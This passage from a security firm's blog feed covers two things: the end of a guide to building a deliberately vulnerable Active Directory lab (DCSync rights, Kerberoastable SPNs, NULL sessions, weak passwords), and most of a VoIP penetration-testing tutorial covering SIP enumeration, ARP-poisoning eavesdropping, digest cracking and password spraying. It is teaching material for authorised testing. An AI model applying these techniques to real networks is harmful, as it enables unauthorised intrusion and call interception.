Rerun prerequisites check.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/516/1*qyNCyRm4htHmp7127XlkwQ.png" /></figure><p>Click on Install to complete the process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/540/1*090C00dLpXK_qy0LNRU6zg.png" /></figure><p>Once rebooted, confirm the new DC by opening a PowerShell window and typing <em>Get-ADDomain.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/841/1*H01XnNfHyTCN43RnlhRzAQ.png" /></figure><p><em>Note: We can do the entire process with PowerShell as well.</em></p><p><strong>Rename the host</strong></p><p><em>Rename-computer -newname DC01 (Do not reboot yet)</em></p><p><strong>Set the IP Address</strong></p><pre><em>Get-NetAdapter </em>(likely will show Ethernet0 but confirm)</pre><pre><em>1: $ipaddress = &quot;192.168.x.x&quot;</em></pre><pre><em>2: $dnsaddress = &quot;127.0.0.1&quot;</em></pre><pre><em>3: New-NetIPAddress -InterfaceAlias Ethernet0 -IPAddress $ipaddress -AddressFamily IPv4 -PrefixLength 24</em></pre><p><strong>Update the DNS Server</strong></p><pre><em>Set-DnsClientServerAddress -InterfaceAlias Ethernet -ServerAddresses $dnsaddress</em></pre><pre><em>Restart-Computer</em></pre><p><strong>Install and Configure the DC</strong></p><pre><em>Install-WindowsFeature AD-Domain-Services –IncludeManagementTools</em></pre><pre><em>Install-ADDSForest -DomainName octagon.local</em></pre><p><strong>Follow all of the prompts, set the DSRM password and allow the server to reboot. Once rebooted, confirm the new DC.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/486/1*JtSP0sHFcKV_1Vjr0u5TSA.png" /></figure><p><strong>Building the Lab — Joining a Host to the Domain</strong></p><p>Go into Network Connections and then adapter settings to change the DNS server to point to the domain controller and set a static IP within whatever range your DC is in. Here the DC IP address would be 192.168.88.5.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/391/1*sSpzP8jV4SNTrQcI-J2Obw.png" /></figure><p>Search for Computer in the start menu, right click and select ‘properties’. Go down to the <em>Computer name, domain, and workgroup</em> settings, and click on <em>Change settings</em>.</p><p>Click on <em>Change </em>next to <em>To rename this computer or change its domain or workgroup, Click Change</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*TYn7Ii6eYjMnx7ST2eEMRw.png" /></figure><p>Change the domain name to match the one you set up on the DC and you will be prompted for credentials to join the computer to the domain.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/398/1*X6cCfbDSxPNOc1KJgfiaxA.png" /></figure><p><strong>Building the Lab — Setting up the Child Domain</strong></p><p>For this lab we will set up a child domain to set up an intra-forest trust as well as a second forest in order to establish an external trust.</p><p>On the second Domain Controller go through the same process to create a DC and choose either <em>Add a new domain to an existing forest </em>and select <em>Child Domain</em> from the drop down<em> </em>to create a child domain within the same forest.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/563/1*NPrhrwK8vRAME85gQMnC0Q.png" /></figure><p>Make sure the DNS server on DC02 is the IP address of the parent Domain Controller. Disable Windows firewall on both machines.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/391/1*YlCFCufmSC5OHJ93upTNvA.png" /></figure><p>Type in the the parent domain and click <em>Select</em>. When the popup appears type in the Administrator password for DC02 and select the parent domain from the list.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/752/1*CmgiHaulF5LlDAc4UtGArQ.png" /></figure><p>Choose a name for the child domain. This should be one word such as <em>dev </em>as it will be prepended to the root domain name in the form of a subdomain (i.e. *.octagon.local).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/752/1*z4V9_hjLbNZpS4LJswHpoQ.png" /></figure><p>Click on <em>Select</em> and put the Domain Admin credentials for the first domain into the popup. You will then be prompted to select that domain within the forest. Follow all of the prompts and leave the defaults.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/751/1*hCrAz1wMZJULt9MNqGqsRQ.png" /></figure><p>Enter the child domain name, one word such as <em>dev. </em>Continue through the remaining steps to finishing creating the new DC.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/751/1*CerYJ37P-vc4kydKx_gVxA.png" /></figure><p>Confirm that the child domain was created.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/836/1*3K0C9BrvvbDZUWUI3OGTfw.png" /></figure><p>Confirm the trust was set up from DC01.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/559/1*uSVSB-uw0839UK2vwru_Pg.png" /></figure><p><strong>Building the Lab — Setting up a Forest Trust</strong></p><p>The first step is setting up a new Conditional Forwarder under DNS Manager on both DC01 and DC03 so the forests can communicate properly via DNS.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/393/1*8dGM3406EGhP4jp-UXWxCw.png" /></figure><p>The first step is setting up a new Conditional Forwarder under DNS Manager on both DC01 and DC03 so the forests can communicate properly via DNS. Right click on <em>Conditional Forwarders </em>and select <em>New Conditional Forwarder.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/597/1*xd0gloXaYkqEcY-IAJAw9A.png" /></figure><p>On DC01 enter the domain name that you set on DC03 as well as the IP address of that Domain Controller.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/526/1*6T7AIMC1cwrj3XYyrsy-QQ.png" /></figure><p>Click OK and check that the Conditional Forwarder appears in the list.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/471/1*zp2xi8hq5wh79OiYFBpmAQ.png" /></figure><p>Test that DNS is resolving properly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/452/1*l4G5wKhbYdGOKtOKliJ6nQ.png" /></figure><p>Do the same on DC03.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/524/1*J40-_lnsAV__bDs6KGarXw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/461/1*NucxTERwH-mtF4Nu-MimJA.png" /></figure><p>Next, open up <em>Active Directory Domains and Trusts</em> on DC01, right-click on the forest root and select Properties. You’ll see the Child domain created prior.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/393/1*MoM5bXYEnkCNHmjWpynGaQ.png" /></figure><p>Click on <em>New Trust</em>. Click <em>Next </em>and type in the domain name for DC03. Click <em>Next </em>and select <em>Forest trust</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/489/1*ecsXvB2pVTuBe3vNsUTkbA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/487/1*ZeytgNsZJPQvRweUUyZ-4Q.png" /></figure><p>Select <em>Two-way</em> to create a bidirectional trust, meaning that users in Forest A can authenticate to Forest B and vice-versa.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/491/1*keMq5dt7vvJx9V-7l_43wA.png" /></figure><p>To save from having to repeat this process on DC03 select <em>Both this domain and the specified domain.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/491/1*v_zdrY0Yb8n-atylJsf0kw.png" /></figure><p>Type in the credentials for the Domain Admin in the other forest (DC03).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/453/1*mhF1oEeo5Au6sigKCH-Pgw.png" /></figure><p>To simplify things select <em>Forest-wide authentication </em>on the following two screens.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/453/1*Cd0H_w75lIEyluDL_6LMAg.png" /></figure><p>Confirm the trust settings and click <em>Next</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/489/1*cBQ_Ss5LL2vyl96XqR4n1A.png" /></figure><p>Then click <em>Next</em> again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/493/1*IY9Fex0uIMfhWBNEnyloXg.png" /></figure><p>Click <em>Yes, confirm the outgoing trust </em>and <em>Yes, confirm the incoming trust.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/492/1*PNQPbk2gkUih4xravnhXlg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/491/1*azWQ86ZNqJSoP2MEy3pU9Q.png" /></figure><p>If everything went to plan you will get a confirmation message that the trust relationship was successfully created.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/492/1*HWZP7him8xIRwqdfUt_jEA.png" /></figure><p>Click <em>Finish</em> and the new Forest trust will appear.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/392/1*oswAftAc9Ls-D03h9cvpbg.png" /></figure><p>Validate the trust relationship on both sides by running this command on both DC01 and DC03.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/544/1*81dHJInAC2lsM5tanP9_dA.png" /></figure><p><em>Note: Take snapshots of all VMs in a powered off state before continuing. This will preserve the trusts in case you have to revert all of the images.</em></p><p><strong>Building the Lab — Adding in Misconfigurations</strong></p><p>Now it is time to make a mess of these domains. You can add user/computer objects manually or use <a href="https://github.com/davidprowe/BadBlood">BadBlood</a> in each domain to add OUs, users, groups, computer objects and ACLs.</p><p>Download BadBlood to the machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/841/1*X4dd1soiey3Yyh9kLcGBkw.png" /></figure><p><em>Note: If you receive the error message “Could not Create SSL/TLS secure channel because PowerShell defaults to TLS1.0 use enter the following command and re-try the wget request:</em></p><pre>[Net.ServicePointManager]::SecurityProtocol =[Net.SecurityProtocolType]::Tls12</pre><p>Open up the script to modify the number of users to speed things up. Change 1000…5000 to 100..500 or something smaller than the default.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hpcMQ--PU8VzGlrX4dmgbg.png" /></figure><p>Run the script by typing <em>.\Invoke-BadBlood.ps1</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*y5xXevBT4RSUxisQ-1PCOg.png" /></figure><p>Check the results.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/484/1*5N6AzQ8DiJQxwBh6muLSCw.png" /></figure><p>Many flaws and misconfigurations can be added to the lab to practice common and more advanced Attack Directory enumeration and attacks.</p><ul><li>Utilize BadBlood to add OUs, users and computers and set up many misconfigured ACLs and groups. This can also be done manually.</li><li>Give a user DCSync privileges.</li><li>Set up SPNs for Kerberoasting (set this up across the forest trust too!).</li><li>Configure a user with a password in the description field.</li><li>Add <em>ANONYMOUS LOGON</em> to the <em>Pre-Windows 2000 Compatible Access </em>group to be able to leverage SMB NULL sessions to practice “internal” password spraying.</li><li>Configure a user with Kerberos pre-authentication not required.</li><li>Set up unconstrained/constrained delegation.</li></ul><p>Utilize scheduled tasks to simulate user activity:</p><ul><li>Browsing a file share for using Responder/Inveigh.</li><li>Simulated Phishing.</li><li>Simulate a user clicking on a malicious executable.</li></ul><p><em>Note: An unpatched Server 2016 is vulnerable to EternalBlue by default.</em></p><p>Below are a few examples of misconfigurations that you can add to your lab.</p><p><strong>Building the Lab — Example Misconfigurations</strong></p><p><strong>Password in Description Field</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/329/1*Q2OixC0u5j1abKyJfeOtRQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/613/1*YdR6aFAmmHIGaO6mSt6dpw.png" /></figure><p>Kerberos pre-authentication not required (ASREPRoast). There are a few ways to set this up. The easiest way is opening <em>Active Directory Users and Computers</em>, right click on a user and choose Properties, and then browse to the <em>Account </em>tab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/405/1*IkIQ5lzr4MfxuFGGjmf9uQ.png" /></figure><p>You can confirm the setting with PowerView.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*o5kP_LLa2zSBri0NneqX5A.png" /></figure><p>The attack can be tested out locally with Rubeus or remotely with the Impacket toolkit <em>GetNPUsers.py.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*bUoAl_Wdgfarkb_cGkyX3w.png" /></figure><p><strong>Set up SPNs for Kerberoasting</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/1*sYbVvSpdcewGPOQ4bw6pxg.png" /></figure><p>Enumerate the newly created SPN with PowerView.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*thLZ7snnIsTqGZYIVxpxjQ.png" /></figure><p>Test out the attack locally with Rubeus.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/773/1*Y4A6Jv3s2TqW1gmjWpqXrg.png" /></figure><p><strong>SMB NULL Session</strong></p><p>Add ANONYMOUS LOGON to the Pre-Windows 2000 Compatible Access built-in group. This will allow for retrieval of the domain password policy and all users in order to mount a password spraying attack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/989/1*_rAlh9CZsuT-ZUTmyZVjSA.png" /></figure><p>Add some users with common/weak passwords. This can be done a number of ways (cmd, PowerShell, etc.).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/542/1*3H0hcO7D7fqTV_PXPNsWoQ.png" /></figure><p>Confirm user list and password policy with enum4linux.</p><pre>enum4linux -U -P 192.168.88.5</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K5ani8RJtCqFtcGmlqNu1w.png" /></figure><p>Make a user list from the output and attempt password spraying for a common password that you set for multiple users on DC01. Password spraying can be performed a variety of ways. One way is using rpcclient from Linux. A nice Bash script for performing password spraying with rpcclient can be found <a href="https://www.ryanwendel.com/2017/10/08/credential-spraying-smb-servers-with-rpcclient/">here</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8HdbdMgm575wqtF7q3HOcw.png" /></figure><p><strong>Experiment with adding</strong> <strong>in more flaws/attacks as you see fit!</strong></p><p><strong>We will demonstrate adding in additional misconfigurations, simulated user activity, as well as building this lab with PowerShell and Vagrant/Packer automation in later posts.</strong></p><p>Interested in hearing more about our services?</p><p>Contact us at <a href="/service/mailto:info@vartaisecurity.com">info@vartaisecurity.com</a> to discuss your unique project needs.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5f0d0c8eb907" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Practical VoIP Penetration Testing]]></title>
            <link>https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4?source=rss-10dff387b6a8------2</link>
            <guid isPermaLink="false">https://medium.com/p/a1791602e1b4</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[information-technology]]></category>
            <category><![CDATA[voip]]></category>
            <dc:creator><![CDATA[Vartai Security]]></dc:creator>
            <pubDate>Tue, 10 Mar 2020 14:30:38 GMT</pubDate>
            <atom:updated>2020-03-10T15:11:06.625Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zwmoEf8T6dGdy9pmXngVpw.png" /></figure><p>In this post we will explore the world of performing penetration testing against Voice over IP (VoIP) environments. We created this post as we see a gap in the available methodologies that exist showing real-world enumeration and attack against VoIP environments. Our goal is to provide a detailed attack structure for many of the common techniques and attack vectors that we utilize during our VoIP assessments and provide strategic value to operators attempting to leverage commonly available tools for identification of weaknesses associated with insecure VoIP configurations.</p><p><strong>Editors Note:</strong></p><p><strong><em>All of the examples in the article are geared towards an internal VoIP implementation. For managed service deployments and other implementations the methodology may differ. Additionally, all example attacks are performed against UDP VoIP which is the most common implementation. It is possible to replicate the same attacks described in this article over TCP using the </em></strong><a href="https://github.com/fozavci/viproy-voipkit"><strong><em>Viproy </em></strong></a><strong><em>- </em></strong><a href="https://github.com/fozavci/viproy-voipkit"><strong><em>Voip Penetration Testing Kit</em></strong></a><strong><em>.</em></strong></p><h3>Introduction to the World of VoIP</h3><p>Voice over IP (VoIP) is a technology that provides advanced and efficient communication solutions. Compared to legacy digital/analog communications VoIP provides additional functionality and thus additional attack vectors that must be mitigated to further strengthen an organization’s security posture.</p><p>The following are examples of functionality commonly used within VoIP installations that are not common in legacy telephony networks:</p><ul><li>Usage of multiple lines and extensions</li><li>Voicemail systems</li><li>Voice recording</li><li>Administrative Control</li><li>Register calls</li><li>Modular Configurations</li><li>Interactive Voice Response (IVR)<strong> </strong>Systems</li></ul><p>Organizations may also choose to leverage a 3rd party to implement their VoIP infrastructure. As is the case with virtually all managed services, by allowing 3rd party access to and management of key services, organizations inherently absorb the risk of not having complete visibility or control over security related parameters that are necessary to securely operate VoIP within their network boundary.</p><p>We typically see three common approaches in how VoIP is configured and deployed within organizations: I<strong>nternal</strong>, M<strong>anaged</strong>, and <strong>Online SIP Trunking.</strong></p><p>The primary differences are:</p><h4>Internal VoIP Implementation</h4><p>A Private Branch Exchange (PBX) is installed in the organization and connected to the ISP lines or telephony by a SIP Trunk or Primary Rate Interface (PRI). All traffic is pushed through a designated VLAN.</p><h4>Managed Services</h4><p>No internal PBX is needed, only IP phones, a switch, and a router. Connections are provided through a VPN to the service provider.</p><h4><strong>Online SIP Trunking Service</strong></h4><p>Services such as Skype, Twilio, among others, provide an easy solution for organizations that do not want to implement any of the above solutions. SIP Trunking delivers telephone and unified communications services over an existing IP network. VoIP users can make calls directly to any phone on the Public Switched Telephone Network (PSTN) without telephone lines by connecting to a compatible hosted PBX System through a SIP Trunk.</p><h3>Understanding the SIP Protocol</h3><p>The Session Initiation Protocol (SIP) allows us to establish, end or change voice or video calls. The voice or video traffic is transmitted via the Real Time Protocol (RTP) protocol.</p><p>SIP is an application layer protocol that uses UDP or TCP for traffic. By default SIP uses port 5060 UDP/TCP for unencrypted traffic or port 5061 for TLS encrypted traffic. As we will see later, Man-in-the-Middle<strong> (</strong>MITM) attack vectors exist for all types of communication, including VoIP/SIP. Therefore, encryption is a necessary compensating control to have in place regardless of the environment or service method.</p><p>SIP is ASCII based and very similar to the HTTP protocol as it uses a Request/Response Model. Requests to the SIP client are made through SIP URI via a user-agent similar to an HTTP request made by a web browser.</p><p>The following request types are common within SIP:</p><ul><li><strong>INVITE</strong> — Invites an account to join the call.</li><li><strong>ACK </strong>—Confirmation regarding the invite of joining the call.</li><li><strong>CANCEL</strong> — Canceling a queued call.</li><li><strong>REGISTER</strong> — Registering the user against the SIP server.</li><li><strong>OPTIONS</strong> — Shows the options the caller has.</li><li><strong>BYE</strong> — Ends the call between both sides.</li><li><strong>REFER</strong> — Shows that the receiver needs to communicate through a 3rd party by the information attached to the request.</li></ul><p><strong>SIP Requests/Responses:</strong></p><ul><li>1xx (Informational)</li><li>2xx (Success)</li><li>3xx (Redirection)</li><li>4xx (Failed requests)</li><li>5xx (Web server cannot complete request)</li><li>6xx (Global errors)</li></ul><p><strong>Typical SIP Interaction Structure:</strong></p><ol><li>Sender initiates an <strong>INVITE </strong>request.</li></ol><p>2. Receiver sends back a 100 (<strong>Trying</strong>) response.</p><p>3. Sender starts ringing by sending a 180 (<strong>Ringing</strong>) response.</p><p>4. Receiver picks up the phone and a 200 success response is sent (<strong>OK</strong>).</p><p>5. <strong>ACK </strong>is sent by the initiator.</p><p>6. Call started using RTP.</p><p>7. <strong>BYE </strong>request sent to end the call.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/463/1*T-7EYkavSdNgTvwtyx1ulw.gif" /><figcaption>Source: <a href="http://www.en.voipforo.com/SIP/SIP_example.php">http://www.en.voipforo.com/SIP/SIP_example.php</a></figcaption></figure><p>We can observe the entire call process over Wireshark:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*63ishJtqbq4pRFPImcENWA.png" /><figcaption>Typical Call Over the Wire</figcaption></figure><h4>Real Time Protocol (RTP)</h4><p>The Real-time Transport Protocol (RTP) is a standardized packet format used by IP networks in order to deliver audio/video signals. RTP was developed by the Audio/Video Transport Working Group of the Internet Engineering Task Force (IETF) standards organization. It was initially described in <a href="https://tools.ietf.org/html/rfc1889">IETF RFC 1889</a> and then superseded by <a href="https://tools.ietf.org/html/rfc3550">IETF RFC 3550</a>. It was designed for end-to-end, real-time, transfer of stream data and it is regarded as the primary standard for audio/video transport in IP networks.</p><h3>Common VoIP attacks</h3><ul><li>Enumeration and Information Gathering</li><li>Eavesdropping</li><li>Authentication Attacks</li><li>Denial-of-Service (DoS) Attacks</li><li>Voicemail Spoofing</li><li>VLAN Hopping</li><li>Provisioning Servers</li></ul><h3>Requirements</h3><ul><li>SIP<a href="https://github.com/EnableSecurity/sipvicious">Vicious</a></li><li>Wireshark</li><li><a href="https://github.com/fozavci/viproy-voipkit">Viproy - Voip Penetration Testing Kit</a></li><li><a href="https://github.com/rbagrov/SIPTools">SIPTools</a> (Can be cloned from GitHub or installed directly through APT in Kali)</li><li>Inviteflood (APT Installation)</li><li><a href="https://sourceforge.net/projects/voiphopper/files/">VoIPHopper</a> (Can be pulled from GitHub or installed directly through APT in Kali)</li><li>Switched Port Analyzer (SPAN) Port (also known as Port Mirroring). This is extremely useful for data monitoring purposes. Ask your client to open this on the switch if possible.</li></ul><p>Before beginning we need to configure our testing machine by installing the necessary tools as follows:</p><p><strong>SIPVicious</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OhKBqau0VMbJuMmGL44iVw.png" /><figcaption>Installing SIPVicious</figcaption></figure><p><strong>Viproy</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S0A3rraS6vyO1P0vgeGq1Q.png" /><figcaption>Installing Viproy</figcaption></figure><p>In order for Metasploit to load the necessary modules we must add a few lines to the mixins.rb file (<em>/opt/metasploit-framework/embedded/framework/lib/msf/core/auxiliary/mixins.rb</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/986/1*40OzRl_iF8Hi4LShD3PIKA.png" /><figcaption>Editing the Metaploit mixins.rb File</figcaption></figure><p><strong>SIPTools</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*swymriDZw5ne2JUNVWN7dg.png" /><figcaption>Installing SIPTools</figcaption></figure><p><strong>InviteFlood</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/1*K_RezhQth3d_-f7PcQIOzQ.png" /><figcaption>Installing InviteFlood</figcaption></figure><p><strong>VoIPHopper</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/986/1*IvmmUxYLEe43ObENWW03mw.png" /><figcaption>Installing VoIPHopper</figcaption></figure><h3>Enumeration and Information Gathering</h3><p>As with any other penetration test, we begin with enumeration. Enumeration of a VoIP environment requires us to first identify the SIP servers that the phones are communicating with. During the blog we will show different ways to perform the attacks using the Viproy toolkit/Metasploit and standalone tools.</p><h4>Identifying SIP Servers</h4><p><strong>Svmap </strong>is part of the SIPVicious package. It is used to scan and identify systems by providing a single IP or a range of IP addresses. <strong>Svmap </strong>allows us to choose the type of SIP request we would like to use to enumerate with. It uses the <strong>OPTIONS </strong>method by default.</p><p><strong>Scanning a Single IP Address with Svmap:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*oDfN4pMW-lEKnZ_S0ln_Rg.png" /><figcaption>SIP Server Identified</figcaption></figure><p><strong>Scanning a Single IP Address with a Metasploit Scanner Module:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/701/1*oeIfozu1NwjhEEyFCeKaLw.png" /><figcaption>MSF Auxiliary SIP Scanner</figcaption></figure><h4>Identifying Valid Extensions</h4><p>Once we have identified the SIP Servers we can attempt to identify valid extensions. This attack will later allow us to perform a brute-force attack to attempt to guess the extension password.</p><p>Every user in an organization has a SIP account assigned to them which contains the extension (username), password and the address of the SIP server. In our real-world assessments we have encountered companies that do not deploy all SIP accounts with a password, resulting in a null password. To find valid extensions we can observe the error messages returned by sending different SIP requests such as:</p><p>• REGISTER</p><p>• METHOD</p><p>• OPTIONS</p><p>• INVITE</p><p>To identify valid extensions we will use a tool called <strong>Svwar </strong>(part of the SIPVicious package). This tool allows us to enumerate a range of extensions. <strong>Svwar </strong>supports all methods listed above. By default it uses <strong>REGISTER </strong>requests.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*WeQvt4aScIyasYJuUIMZeg.png" /><figcaption>Extensions Identified with Svwar</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/685/1*GtS_dwk8xmw7U1hiAOwLFw.png" /><figcaption>Metasploit Extension Enumerator</figcaption></figure><p>In the above example we used the <strong>INVITE</strong> method and provided <strong>Svwar </strong>a range of extensions to scan.</p><p><em>We recommend caution using that method because it will actually call the phone extensions and can be very noisy/disruptive.</em></p><p>We managed to enumerate three valid extensions. If an extensions returns <strong>Authentication:weird</strong> it usually means that the extension does not require a password. As we can see, the Metasploit module is less reliable as it can generate a lot of false positives and does not show extensions that do not require a password.</p><p><strong>Svwar</strong> also allows us to also perform a dictionary-based attack:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*3mF70Mb-XHcCZV1CXivr-Q.png" /><figcaption>Svwar Dictionary Attack Functionality</figcaption></figure><h3>Eavesdropping</h3><p><strong><em>Note: </em></strong><em>This attack is possible due to unencrypted traffic.</em></p><p>Eavesdropping is possible by capturing SIP and RTP packets sent from soft phones to the server and back. Once captured, we can then assemble the packets and listen to the voice call.</p><p>In order to perform this attack we will have to perform a MITM attack to intercept the traffic from users connected to the SIP server.</p><p><strong>In order to perform a MITM attack we must do the following:</strong></p><p>1. ARP Poisoning.</p><p>2. Capture traffic using a packet capture utility (Wireshark in our example).</p><p>3. Analyze the RTP packets that have been captured in audio format.</p><p>Before performing ARP poisoning we need to allow traffic forwarding:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XBiyLOj0xejWP2EomkUWIA.png" /></figure><p>We will have to spoof traffic in both directions for this attack to work.</p><p><strong><em>Note: </em></strong><em>ARP poisoning is not required if we have a SPAN port open.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3Y3B8TFbLjIxBoGKBLJ_bg.png" /></figure><p>When two users initiate a phone call we can observe the captured SIP traffic using Wireshark:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*63ishJtqbq4pRFPImcENWA.png" /><figcaption>SIP Call Packets</figcaption></figure><p>Wireshark allows us to convert RTP traffic into audio format using a built in module (Telephony&gt;Voice Calls).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xtu3JE6ku6K1MlMsIIiOPA.png" /><figcaption>Wireshark Voice Calls Analyze Module</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qsRHFx8sgC9tKK23C9E1Tw.png" /><figcaption>RTP Traffic Analysis</figcaption></figure><p>The call has been initiated by a user named James with the extension <strong>123456</strong> to extension <strong>102. </strong>The duration of the call and the current state can be seen in the above example.</p><p>Wireshark assembled the call packets and now we can listen to the entire phone call.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GpZctHNxs3tMOWXGxa6irw.png" /><figcaption>Listening to the Unencrypted Phone Call</figcaption></figure><h3>Authentication Attacks</h3><h4><strong>Capturing Authentication using SIPDump</strong></h4><p>The SIP protocol uses a similar mechanism to HTTP known as “<strong>HTTP Digest</strong>”. Since SIP is a text-based protocol in the past it used weak authentication where passwords were transmitted in clear text. It was deprecated and replaced with SIP 2.0. In SIP 2.0 an MD5 hashing algorithm is applied to the authentication details before they are sent to the server.</p><p>We can use the tool <strong>SIPDump</strong> to extract SIP Traffic in real time that contains the MD5 digest challenge for offline cracking later on. <strong>SIPDump</strong> is part of a package called <strong>SIPCrack</strong>, and can be installed through APT for Kali users.</p><p><strong>SIPDump usage:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/554/1*UZ8FL8rFOU-DzWnKSa_OQg.png" /><figcaption>Captured Authentication with SIPDump</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/605/1*RtcdWh8TEUAcqefTVm5tYA.png" /><figcaption>Captured MD5 Digest Challenge</figcaption></figure><h4><strong>Offline Cracking SIP Digest Response Hashes</strong></h4><p>Any tool capable of cracking MD5 hashes can be used at this point. In this example we will be using <strong>SIPCrack </strong>by providing the digest response hashes we captured in the previous step and a word list(preferably one that contains common VoIP passwords) to attempt to crack the password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*Zx3nEriQBjKCbC_CX6v3-g.png" /><figcaption>Cracking the MD5 Digest Response</figcaption></figure><h4><strong>Online Brute-Force attack</strong></h4><p>Online brute-force attacks are performed by attempting to guess authentication details against the SIP server with set of passwords. It is best to perform this attack using a customized word list based on the client.</p><p>For this attack we will use the tool <strong>svcrack </strong>(part of SIPVicious) to brute force SIP accounts.</p><p>We can provide <strong>svcrack </strong>a single SIP account or multiple accounts. In the example below we are using one extension from the previously enumerated extensions.</p><p><strong>Attacking SIP account using svcrack :</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*Q_D8UDDwmAwagze-W4AQYQ.png" /><figcaption>Password Extracted for the 103 Extension</figcaption></figure><h4><strong>Password Spraying Extensions</strong></h4><p>It is possible to performed a password spraying attack against multiple extensions using a single password. This attack can be useful if we would like to test commonly used weak passwords against set of extensions.</p><p>For this attack we will use the Viproy module that we imported earlier into Metasploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EQDvnUtcvPCxk19N1MU5ZA.png" /><figcaption>Setting up the Attack using the Viproy Metasploit Module</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_ORgwUQhFFIXcc3Au44D6w.png" /><figcaption>Successful Password Spraying Attack</figcaption></figure><p>During our assessments we have seen SIP Servers that allow connections from the internet, allowing us to perform this type of attack remotely.</p><h3>Denial-of-Service Attacks</h3><p>DoS attacks can result in damage such as preventing outgoing and 